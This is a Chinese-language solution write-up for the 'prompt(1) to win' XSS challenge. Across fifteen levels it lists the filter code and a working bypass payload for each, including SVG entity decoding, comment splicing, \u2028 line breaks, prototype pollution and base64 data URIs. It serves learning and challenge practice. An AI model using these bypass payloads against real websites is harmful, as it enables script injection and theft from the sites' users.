本文内容:

prompt(1) to win 解题记录

知识点速查

  1. 直接闭合双引号和尖括号插入img标签
  2. 使用img标签配合//吞并后面的标签
  3. 使用svg标签来实现xml解析从而使得(可以被解析为(
  4. 使用!-->来让HTML解析器自动转为-->
  5. 使用@以前面网页的身份访问远程JS文件,并且这里需要对/编码%2f进行绕过
  6. 改变inputtype=image以及onerror=换行绕过正则
  7. 通过JavaScriptform表单有重复键名时取后一个键的值来绕过
  8. 使用/**/注释以及定义的#进行换行
  9. 使用\u2028或者\u2029绕过对\r\n的正则过滤
  10. 使用不知道哪国的古英文ſ经过编码后变成s绕过
  11. 利用对'以及prompt的过滤顺序实现过滤后拼接成paoload
  12. 使用(prompt(1)) in "1"返回True来实现弹窗
  13. 使用evaltoString来实现进制的转换
  14. Javascript原型链污染绕过
  15. 利用过滤拼接data:text/html;base64,xxxxx绕过
  16. 利用<svg>以及<!--#-->实现解析为xml和注释绕过

第零关

没什么好说的,最基本的闭合双引号创造新的img标签触发弹窗

Payload: "/><img src=# onerror=prompt(1) "

image-20200321021357213

第一关

这一关对输入进行了正则匹配

function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

所以说输入不能用<>来闭合

这里给出payload

Payload: <img src=# onerror=prompt(1)//

image-20200321022249196

但我不知道这里为什么加两个/

image-20200321022317553

还有这样也是可以的,他在后面自动加了一个<article>标签来闭合?

真的很神奇

image-20200321022547731

第二关

看一下过滤

function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;

这里过滤了=、(

这里用到了<svg>标签前缀的<script>标签中,会认定为xml文本,从而解析&#40;(

Payload: <svg><script>prompt&#40;1)</script>

image-20200321024430448

第三关

过滤

function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

这里把->全局替换为_

这里学到了个姿势

Payload: --!><script>prompt(1)</script>

image-20200321025020817
image-20200321024959864

直接查看源代码,感觉像是HTML的自动修整机制?

第四关

function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

这一关其实没看懂,别人的wp是这么解释的

image-20200321030411699

他的意思是本地构造一个xss.js文件,里面写上prompt(1),然后利用@的特性去访问实际上是localhost上的xss.js文件

而且@前面的斜杠要URL编码,否则浏览器不支持

第五关

function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

这一关把>、onxxxxx=、focus都替换为_

这里学到了个姿势,就是替换type

Payload: " src=# type=image onerror ="prompt(1)

这里通过换行来绕过正则的判断,以及修改typeimage,覆盖了后面的type=text属性,使得input变成了类似于img标签

从而触发了prompt(1)

image-20200321031738771

第六关

function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

这道题会提交一个我们输入的以#分割的表单,然后其中action当中不能存在script:data:

这里学到一个姿势,就是利用action的特性,当同时存在两个action时,会访问后面的action的值

Payload: javascript:prompt(1)#{"action":1}

<form action="javascript:prompt(1)" method="post"><input name="action" value="1"></form>                         
<script>
// forbid javascript: or vbscript: and data: stuff
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>

可以看到它实际上判断了后面的action,他的值为1,绕过了正则判断,从而前面的action="javascript:prompt(1)"被触发

第七关

function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

这一关通过#分割来创造<p class="comment" title=""></p>元素

这里思路是通过#切分多个元素,然后使用注释来吧中间的<p>标签给注释掉,然后连起来变成一个有效的payload

Payload: "><script>/*#*/prompt(/*#*/1)/*#*/</script>

image-20200321122401119

第八关

function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

这一关过滤了\r\n的换行,但可以以通过Unicode编码后的\u2028充当换行符

image-20200321133242060

Chrome这里是看不到那个换行的字符,但把结果复制过去就可以看到了成功触发了结果

第九关

function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

这道题用了不知道哪个国家的字符ſ,经过Unicode转换后,变成了s,但这里进行了大写处理

image-20200321155951541

他这个payload我感觉有问题,就是你<后面一个空格,实际上不是<script标签了

而且得加载外部JS,如果存在CSP的话,就不能正常触发了

第十关

function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

这个过滤把prompt置换为alert,而且把'也置换为空

Payload: promp't(1)

这里通过把'置换为空,然后前后prompt拼接在一起,绕过了正则替换

第十一关

function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

这一关过滤了一堆字符,但我看姿势

Payload: " (prompt(1)) in"

这样会弹窗

image-20200321214322213

如果指定的属性在指定的对象或其原型链中,则in运算符返回true

第十二关

function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

这道题和第十关不一样,这一道题先过滤了',然后过滤了prompt

而且还URL编码了,这里fromCharCode也就不可以使用了,因为,会被URL编码

这里找到解法是进制转换

比如prompt的十进制是630038579,这里转化为三十进制就是prompt

Payload: eval((630038579).toString(30))(1))

第十三关

function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

这道题和原型链污染有关系

这里对config.source进行了delete处理,而且我们要输出的src也是config.source,那能不能通过原型链污染来把他的值给覆盖成#" onerror=prompt(1) />呢?

image-20200321222255192

这里要满足删除条件是满足这个正则

if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}

source传过去一个#即可

这里直接传的话,会发现src无法闭合

image-20200325151907487

这里找了一下,网上建议是用正则的匹配规则

image-20200325151950002

image-20200325152120263

所以这里通过$`来实现把前面<img src="重复输出来闭合src

这时候实际上src="<img src="

image-20200325152450879

Payload: {"source":"#","__proto__": {"source":"$`onerror=prompt(1) />"}}

第十四关

function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');

return '<img src="' + input + '">';
}

这道题过滤了//和字母:并替换成data:

并且把vbs、\&、空白符号过滤了

这里应该是采用data协议进行转码

data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=

但这里是没法在现在浏览器里使用大写的base64进行解码

Payload:"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

这里就不测试了

第十五关

function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

这里和之前那个注释绕过的差不多,只不过这里用的是<!-- -->

不过这道题很迷,alert(1)能弹,但换成prompt(1)就不可以了

image-20200325220835441

Payload:"><svg><!--#--><script><!--#-->prompt(1)<!--#--></script>

剩下的几关在现在Chrome中不再触发,就不多写了